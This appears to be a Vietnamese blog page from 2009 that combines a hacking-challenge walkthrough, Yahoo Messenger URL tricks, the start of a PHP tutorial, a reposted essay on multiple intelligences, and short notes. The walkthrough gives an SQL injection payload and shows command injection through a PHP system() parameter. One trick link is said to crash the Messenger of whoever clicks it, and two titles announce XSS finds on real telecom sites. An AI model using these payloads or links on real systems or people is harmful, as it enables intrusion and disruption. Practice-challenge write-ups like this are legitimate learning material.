Level 6 này nói chung là: SQL Injection , rất đơn giản nhưng ... ta ko exploit bằng đoạn: ' or '1'='1 mà ta exploit bằng: " or "1"="1
_Đơn giản là vì trong PHP , xXX code là: SELECT user,pass FROM tbl_user WHERE user="$user" and "$pass" chứ ko như bình thường . Bởi vậy ta cần linh hoạt + 1 chút kinh nghiệm

# LEVEL 7 #

Khi tới level 7 ta thấy , ta được dẫn đến "one2three.php?info=ok" ... thấy lạ lạ hem ?. Bôi đen thử thì thấy nguyên chữ "JUST FAKE!". Lúc này thì nhìn là biết 2 cái form kia chưng cho vui nhà vui cửa . Thử bỏ "?info=ok" đi thì ... bung ra lỗi:
Command not valid - System() function can not excute a valid command !
Note : variable INFO

_Hàm system() kìa (Hàm này là hàm của PHP giúp chạy cmd, ở đây là window nên các bạn cứ gõ như là trong cmd ấy) . đây , đây chính là cách để vượt qua lv7. Vậy là ta có thể hiểu system() lấy giá trị $_GET['info']. Thử thêm vào đường link '?info=dir'...thì nó ra mấy cái nay

Volume in drive C has no label. Volume Serial Number is 90F0-D388 Directory of C:\xampp\htdocs\myland 12/27/2009 01:08 PM . 12/27/2009 01:08 PM .. 12/17/2009 12:36 AM 26 catchme.txt 12/17/2009 12:33 AM 54 etc-passwd 12/27/2009 11:12 AM 144,952 extrakg.txt 12/14/2009 11:10 PM 2,002 faked.php 12/24/2009 09:42 PM 15 hieuhjt.txt 12/25/2009 10:51 AM 0 index.php 12/14/2009 11:13 PM 36 inf0.txt 12/14/2009 11:01 PM 50 login911.php 12/27/2009 01:10 PM Mr.Scott 12/27/2009 01:05 PM 10 Mr.Scott.txt 12/17/2009 12:36 AM 50 ok.txt 12/27/2009 11:58 AM 670 one2threehackme.php 12/11/2009 02:52 PM 7,388 scodework.txt 12/14/2009 10:31 PM 962 stuffs.php 12/27/2009 01:49 PM uploadhere 12/26/2009 02:46 PM 146 Upload_zo_trong_folder_UPLOADHERE_moi_duoc_cong_nhan.txt 14 File(s) 156,361 bytes 4 Dir(s) 2,740,260,864 bytes free 4 Dir(s) 2,740,260,864 bytes free

Thôi tói đây thôi . Mọi người mò típ cho vui ^^...Ai rảnh thì có gì đi cafe chung luôn , rồi ngồi nc cho vui , chia sẻ kinh nghiệm .hihi

Trò vui trên Yahoo! =]]

2009-12-27T08:23:00.001+07:00

(Thanks hoa1213+tdloc - GAMEVN [Box TG])

Thường thì có rất nhiều câu status hài hước và vui vẻ khi bạn viết lên YH. Nay mình xin giới thiệu 1 trò ko biết cổ ko
ymsgr:sendim?(yahoo của bạn)&m=(1 câu bạn muốn viết ).
Lưu ý : Mỗi khoảng cách thay = dấu + và chỉ sài đc cho yh 9.0 +

Vd : yh mình là ghost_rider_dkny thì sẽ là như sau :
ymsgr:sendim?ghost_rider_dkny&m=Tao+Ngu+Hơn+Mày
Xong bạn click vào status của bạn .

Hãy làm và để người # cảm nhận về bạn .

Trích dẫn:

Từ bài viết của tdloc

Code:

Bấm vô để add nick
  * ymsgr:addfriend? Example: ymsgr:addfriend?myid
Bấm vô để gửi file
  * ymsgr:sendfile? Example: ymsgr:sendfile?myid
Bấm vô để gọi đến số dc chỉ định
  * ymsgr:call? Example: ymsgr:call?1-800-555-7654
  * ymsgr:callPhone? Example: ymsgr:callPhone?1-800-555-7654
Bấm vô để mở chat room
  * YMSGR:chat? "opens chat room list"
Bấm vô để mở 1 cửa sổ chat
  * ymsgr:im? Opens "send an im window"
Bấm vô để đổi nền cho cửa sổ chat
  * ymsgr:getimv?doodle
  * ymsgr:getimv?yfighter
Ai bấm vô là Yahoo Messenger của người đó bị tắt ngay lập tức (nguy hiểm)
  * ymsgr:-kill

PHP Tutorial (by manhluat93)

2009-12-27T08:13:00.001+07:00

Hê . Cái vụ viết tut này ấp ủ cũng lâu rồi , nhưng ko có time nên hoãn lại vài lần . Dạo này cũng rỗi (tuy là cũng sắp thi rồi ).

MỌI THẮC MẮC HAY BẤT CỨ THỨ GÌ LIÊN QUAN ĐẾN TUT NÀY THÌ XIN

Email về: vnfriends_net@yahoo.com hoặc có thể chat với mình thông qua Yahoo!Messenger: vnfriends_net

_Vài lời nói trước khi vào phần chính

Các tài liệu có thể mình lấy từ 1 số nguồn trên Internet (Google) . Nếu có “nhỡ” bạn là tác giả thì xin reply để mình edit vào
Ngôn ngữ mình sử dụng để viết TUT này hoàn toàn “bình dân đến dân chơi” . Vì 1 mục đích là làm cho các bác hiểu rõ thôi
Nếu nhỡ các bác copy thì cho e xin 1 chữ nhỏ xíu ghi nguồn thôi ạ .
Nếu kiến thức mình có hỏng chỗ nào (hoặc nói sai, etc…) thì xin góp ý , lần đầu viết tut này nên cũng ko tránh đc sai sót

_Nếu hiểu đc hết tut này thì chúng ta làm được gì ?

Code đc 1 vài tool nho nhỏ
Nếu bạn rành HTML-CSS thì có thể làm được cái web cho doanh nghiệp hay cá nhân
Nếu có mục tiêu xa hơn thì lấy PHP làm bàn đạp , bạn có thể biết thêm nhiều thứ lắm đấy

MỤC LỤC:

1. PHP là gì ? {complete}

2. Một số khái niệm {ongoing}

3. Các hàm thường dùng

4. PHP Advance

5. …. (Chừng nào tới đây rồi suy nghĩ típ )

manhluat93

[xss] http://wap.mobifone.com.vn

2009-12-26T22:32:00.006+07:00

.....

[xss] http://www.mobifonemedia.com.vn/

2009-12-26T00:39:00.006+07:00

Vô tình lụm đc cái bình

Giải mã bí ẩn của trí thông minh

2009-12-25T22:04:00.004+07:00

Thấy bài này viết trên gamevn.com (box TG =))) hay wá nên leech về đây chơi (Thanks HoangJK)

Từ bé đã thích nghiên cứu về cái này, lớn lên có mạng interrnet cùng vô vàn kho tàng JAV mới có điều kiện tìm hiểu sâu hơn . Hôm nay noel ko đi chơi đâu thì ở nhà nghịch box 50 cho vui

Google phát ra cả đống bài, nhưng thích tự viết bằng kiến thức bản thân+số liệu tổng hợp trên mang để anh em hiểu "sâu" hơn, tiện góp ý văn phong mềnh nhé

Từ lâu, người ta đã biết đến khái niệm IQ-Intelligence quotient-chỉ số thông minh. Đó là 1 khái niệm về việc đo đạc trí thông minh con người bằng chỉ số. Test IQ là 1 công việc sử dụng những bài trắc nghiệm đặc biệt phát huy khả năng sáng tạo và tư duy của con người, từ đó biểu hiện trí thông minh bằng những con số.

Trung bình, một người bình thường sẽ có chỉ số IQ 90-110, trên 120 được coi là thông minh. Nhưng liệu chỉ số IQ có chính xác trong việc đo đạc trí thông minh của con người?

Hãy làm thử 2 câu đố dưới đây để thử nghiệm bản thân, đây là 2 câu đố hết sức đơn giản, chỉ mang tính minh họa:

1. Ngày 20 tháng 11 là ngày kỷ niệm nhà giáo Việt Nam. Nước Mỹ có ngày 20 tháng 11 hay không?

Đây là 1 câu đó đơn giản với hầu hết những ai cẩn thận. Chỉ cần đọc thoáng qua có thể thây được mấu chốt của câu hỏi.

2. Có chai rượu champagne chứa đầy rượu với nút bấc, làm thế nào để uông rượu trong chai mà không được mở nút bấc, không được làm tổn hại đến chai?

Với hầu hết mọi người bình thường, họ tự áp đặt lối suy nghĩ thông thường nên không thể giải quyết vấn đề một cách triệt để. Trong khi đó, một số người thử thay đổi cách suy nghĩ, thay đổi cách giải quyết bằng nhiều hướng và dễ dàng giải quyết vấn đề.

3. Bạn nhìn thấy chữ, con số gì trên những quân bài?

Những người thường vận động não đa dạng, suy nghĩ một cách đa chiều, tìm tòi cách giải quyết theo nhiều hướng sẽ tìm được cách với câu đố chai rượu. Người ta thường xoáy theo hướng câu hỏi, muốn uống rượu phải mở nút, muốn mở nút phải dùng lực.v.v.v... trong khi môt cách giải đơn giản là đẩy nút bấc vào trong lại không được tính đến. Vấn đê muốn nói ở đây, chính là khả năng suy nghĩ, sáng tạo, phát triển trí thông minh con người bị giới hạn bởi chính lối áp đặt suy nghĩ thông thường. Đó chính là nguyên nhân con người ngày càng chú trọng vào việc tìm hiểu và phát triển trí thông minh-khả năng tự nhiên của họ.

Trên thực tế những người có chỉ số IQ cao với những bài test IQ trắc nghiệm, lại chưa chắc có thể giải quyết những câu đố dạng như trên. Minh họa với câu đố thứ 3 với những lá bài, có nhiều chưa hiểu được hết ý nghĩa câu hỏi, hoặc lúng túng một thời gian để nhận ra. Trong khi đó những người nhạy cảm với hình ảnh, màu sắc lại dễ dàng nhận ra chữ "love" được viết một cách đặc biệt.

Điều đó cho thấy trí thông minh không chỉ có 1 dạng, nó có thể biểu hiện bằng nhiều hình thức. Đó cũng chính là một trong những nguyên nhân bộ môn IQ được chú trọng và thêm vào trong các ngành nghiên cứu khoa học. Trong tương lai, con người ngày càng thông minh hơn và phát triển toàn diện, nếu biết cách định hướng và phát triển ngay từ bây giờ.

Câu hỏi được đặt ra: Vậy có những dạng thông minh nào?

Thực tế, trí thông minh trước đây chúng ta thường nghĩ chỉ là một dạng của thông minh, đó là Logic smart. Những dạng thông minh khác được biểu hiện qua khả năng về một mặt nào đó có liên quan mật thiêt đến giác quan, tính cách và hoàn cảnh của con người.

Cho đến nay, thuyết “đa thông minh” - theory of multiple intelligences (MI) đã tương đối hình thành đầy đủ với 8 "dạng thông minh".

Vì các loại thông minh này hầu hết thường biểu hiện được ít nhất trên 2 loại, nên dùng từ năng lưc để thay thế "loại", "dạng".

1. Năng lực tư duy-logic smart: Người nổi trội năng lực này sẽ làm việc giỏi với những con số, có khả năng phân tích tính toán, trí nhớ tốt, nhận định sự việc một cách khoa học.v.v.v...

2. Năng lực ngôn ngữ-word smart: Người nổi trội năng lực này có kĩ năng viết và nói tốt, thich sử dụng câu chữ sáng tạo, trí tưởng tượng họ được kích thích với môi trường liên quan đên ngôn ngữ và lời nói.

3. Năng lực cơ thể-body smart: Người nổi trội năng lực này biểu hiện bằng sự phối hợp nhịp nhàng giữa các bộ phận trên cơ thể, cũng như những khả năng liên quan đến nó sao cho diễn đạt được cảm xúc và ý nghĩ truyền đạt một cách tốt nhât.

4. Năng lực âm thanh-music smart: Người nổi trội năng lực này thường nhạy cảm với với âm thanh, có khả năng thể hiện cảm xúc và tâm tư ý nghĩ bằng âm nhạc, nhạc cụ.

5. Năng lực thị giác-piture smart: Người nổi trội năng lực này thường nhạy cảm với những hình ảnh, hình khối, không gian và có khả năng thể hiện cảm xúc, tâm tư ý nghĩ thông qua những hoạt động xung quanh nó.

6. Năng lực nội tâm-self smart: Người nổi trội năng lực này sẽ phát huy tốt các khả năng cá nhân khi làm việc độc lập, có suy nghĩ theo một tầng lớp sâu, khả năng tập trung cao độ và hay suy tư.

7. Năng lực tương tác-people smart: Người nổi trội năng lực này có thể phát huy tốt khả năng cá nhân khi làm việc trong môi trường tập thể, có khả năng lãnh đạo và thuyết phục, thâu hiểu tình cảm tâm tư người khác. Trong một tập thể thì đây là ngươi dễ gây ảnh hưởng nhất.

8. Năng lực thiên nhiên-nature smart: Người nổi trội năng lực này sẽ phát huy các năng lực cá nhân khi làm việc trong môi trường động vật hoặc thực vật, có thể hiểu và nắm bẳt các tương tác trong thiên nhiên.

Trong thưc tế, chúng ta có thể thấy rõ 8 loại thông minh này có mối liên quan với nhau, đó là vì chúng gần như có cùng bản chất, chỉ khác ở cách biểu hiện ra ngoài. Một người có thể nổi trội ở nhiều loại năng lực, điều đó thể hiện họ đã phát huy tối đa khả năng và trí thông minh của họ. Mặc nhiên sẽ vẫn có một loại năng lực nổi trội nhất. Nhiệm vụ của mỗi chúng ta là phải hiểu được bản thân mình có năng lực nào, từ đó phát huy và hỗ trợ những năng lực chưa phát triển khác.

Bạn có quan tâm đến trí thông minh của mình không và đã phát triển nó như thế nào?

Từ lúc vào box 50 trí thông minh về JAV và bựa của mình tăng lên hẳn

Chú thích-bonus:

Lý thuyết “đa thông minh” - theory of multiple intelligences (MI) – được nhà Tâm lý học Howard Gardner, GS. ĐH Harvard đưa ra lần đầu trong cuốn sách “Frames of Mind: The Theory of Multiple Intelligences” xuất bản vào năm 1983.

Đầu tiên nhóm nghiên cứu MI chỉ đưa ra 7 loại thông minh, sau đó đã bổ sung loại thứ 8 là nature smart, riêng loại thứ 9 sau đó loại bỏ là exist smart-thông minh sinh tồn.

Tên khoa học 8 dạng trên đã được viết dạng rút gọn để dễ hiểu và dễ nhớ, VD như logic smart đầy đủ là Logical – Mathematical Intelligence.

Có sử dụng 1 số tư liệu và con số trên internet

Còn nhiều cái muốn viết nữa nhưng đến đói quá, kiếm cái gì ăn đã

Edit: cái poll ko cho vì multi vote vì chọn cái nổi trội nhất thôi nhé

Dời blog !

2009-12-24T01:11:00.002+07:00

Quả thật là ko muốn dời blog đi wa hoài đâu :(. Tại cái wordpress nó chuối (hay mạng Viettel chuối nữa) wá, vào blog load lâu như ... @_@.

_Ráng chuyển qua đây chơi nào :(.